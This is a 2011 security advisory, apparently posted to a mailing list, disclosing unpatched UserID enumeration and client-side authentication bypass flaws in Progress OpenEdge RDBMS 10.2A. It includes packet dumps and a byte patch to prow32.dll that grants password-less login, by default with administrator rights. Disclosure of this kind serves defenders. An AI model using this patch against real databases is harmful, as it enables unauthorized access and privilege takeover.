[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[DSECRG-11-008] Open Edge RDBMS - Multiple architecture vulnerabilities (UNPATCHED)



Digital Security Research Group [DSecRG] Advisory       #DSECRG-11-008

Application:            Progress OpenEdge Enterprise RDBMS
Versions Affected:      10.2A and maybe others
Vendor URL:             http://web.progress.com
Bug:                    Authentication bypass, UserID enumerate
Exploits:               YES
Reported:               13.10.2009
Vendor response:        13.10.2009
Solution:               NONE
Date of Public Advisory:24.01.2011
Authors:                Alexander Polyakov, Alexey Sintsov, Alexey Troshichev of Digital Security Research Group [DSecRG]



Description
***********

Progress OpenEdge Enterprise RDBMS (formerly known as the Progress RDBMS) is
a high-efficiency  relational database management system by company Progress
Software Corp productions.It is widely used as backend for cutomezed ERP systems.
This RDBMS has some vulnerabilities that make possible 
to enumerate UserID and bypass authentification.

Details
*******


1. UserID enumerate

Attacker can get valid UserID. It is possible because OpenEdge RDBMS server 
give different answers for situation when password is incorrect and when 
UserID does not exist. Client application in both way gives the same message
- “Your Password and UserID <USERID> do not much”. But in network layer 
answers from server are different:

Packet 1. From server to client, if UserID exist (UserID eq AAA):

0x0000   00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00   ..............E.
0x0010   00 C3 00 00 00 00 40 06-7C 33 7F 00 00 01 7F 00   .A....@.|3....
0x0020   00 01 0B B8 10 42 56 07-00 00 00 00 00 00 50 00   ...?.BV.......P.
0x0030   40 00 00 00 00 00 00 00-00 07 00 2D 00 9B 00 4F   @..........-.›.O
0x0040   00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00   ................
0x0050   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0x0060   00 00 00 02 00 00 00 01-00 00 7F 68 00 4F FF FB   ..........h.Oyu
0x0070   00 00 00 00 00 00 0F 02-00 00 00 00 00 00 00 00   ................
0x0080   22 C0 E7 00 02 00 3C 01-FB 03 41 41 41 10 72 6D   "Ac...<.u.AAA.rm
0x0090   57 78 6A 69 64 4E 63 6E-4D 64 6D 69 61 63 03 41   WxjidNcnMdmiac.A
0x00A0   41 41 FA 00 09 FD FD FD-FD FD FD FD FD FF FA 00   AAu..yyyyyyyyyu.
0x00B0   09 FD FD FD FD FD FD FD-FD FF FD FD FD FD FD FD   .yyyyyyyyyyyyyyy
0x00C0   FD FD FD FD FD FD FD FD-FD FD FD FD FD FD FD FD   yyyyyyyyyyyyyyyy
0x00D0   FD                                                y


Packet 2. From server to client, if UserId does not exist:

0x0000   00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00   ..............E.
0x0010   00 74 00 00 00 00 40 06-7C 82 7F 00 00 01 7F 00   .t....@.|‚....
0x0020   00 01 0B B8 10 45 56 07-00 00 00 00 00 00 50 00   ...?.EV.......P.
0x0030   40 00 00 00 00 00 00 00-00 07 00 2D 00 4C FB 41   @..........-.LuA
0x0040   00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00   ................
0x0050   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0x0060   00 00 00 02 00 00 00 01-00 00 7F 68 00 00 FF FB   ..........h..yu

So attacker can connect to RDBMS server with different UserID and see 
network answers for getting existing UserID.

2. Authentication bypass

Remote attacker can log in into RDBMS use existing or not existing UserID 
without password. It is possible because authentication process is going 
on client side. When password incorrect client application reset connection
with server and show message box. If password is correct, client send to 
server UserID which he will be to use in RDBMS. 

Packet 3. From client to server, when password for UserID TEST2 is correct:

0x0000   00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00   ..............E.
0x0010   00 6E 00 00 00 00 40 06-7C 88 7F 00 00 01 7F 00   .n....@.|?....
0x0020   00 01 0B 27 0B B8 13 03-00 00 00 00 00 00 50 00   ...'.?........P.
0x0030   40 00 00 00 00 00 00 00-00 09 00 14 00 46 00 00   @............F..
0x0040   00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00   ................
0x0050   00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 73   ..............Us
0x0060   65 72 69 64 20 69 73 20-6E 6F 77 20 54 45 53 54   erid is now TEST
0x0070   32 2E 20 28 37 30 38 29-00 00 00 00               2. (708)....

Example of attack:

        Patch of %OpenEdge%\bin\prow32.dll (for version 10.2A)

        Begin address: 0x020065
        - 0f85ce020000
        + 909090909090

After that run DataAdministration(%OpenEdge%\bin\prowin32.exe) and try to 
enter into RDBMS with any UserID and without password. 
Application show error message box, but allow to enter into RDBMS with 
chosen UserId. If chosen UserID has a Security Administrator privileges, 
so attacker gets this privileges. By default in OpenEdge RDBMS all 
users have  Security Administrator privileges.

Fix Information
***************
The only one possible fix is to use Windows authentication instead of proprietary.


References
*********

http://dsecrg.com/content/vul/edit.php?id=308
https://www.blackhat.com/html/bh-dc-11/bh-dc-11-archives.html#Smith



About
*****

Digital Security: 

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com 





Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@xxxxxxx  

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru


-----------------------------------
This message and any attachment are confidential and may be privileged or otherwise protected 
from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure 
is strictly prohibited. If you have received this message in error, please notify the sender immediately 
either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence 
via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding 
statements by e-mail unless otherwise agreed. 
-----------------------------------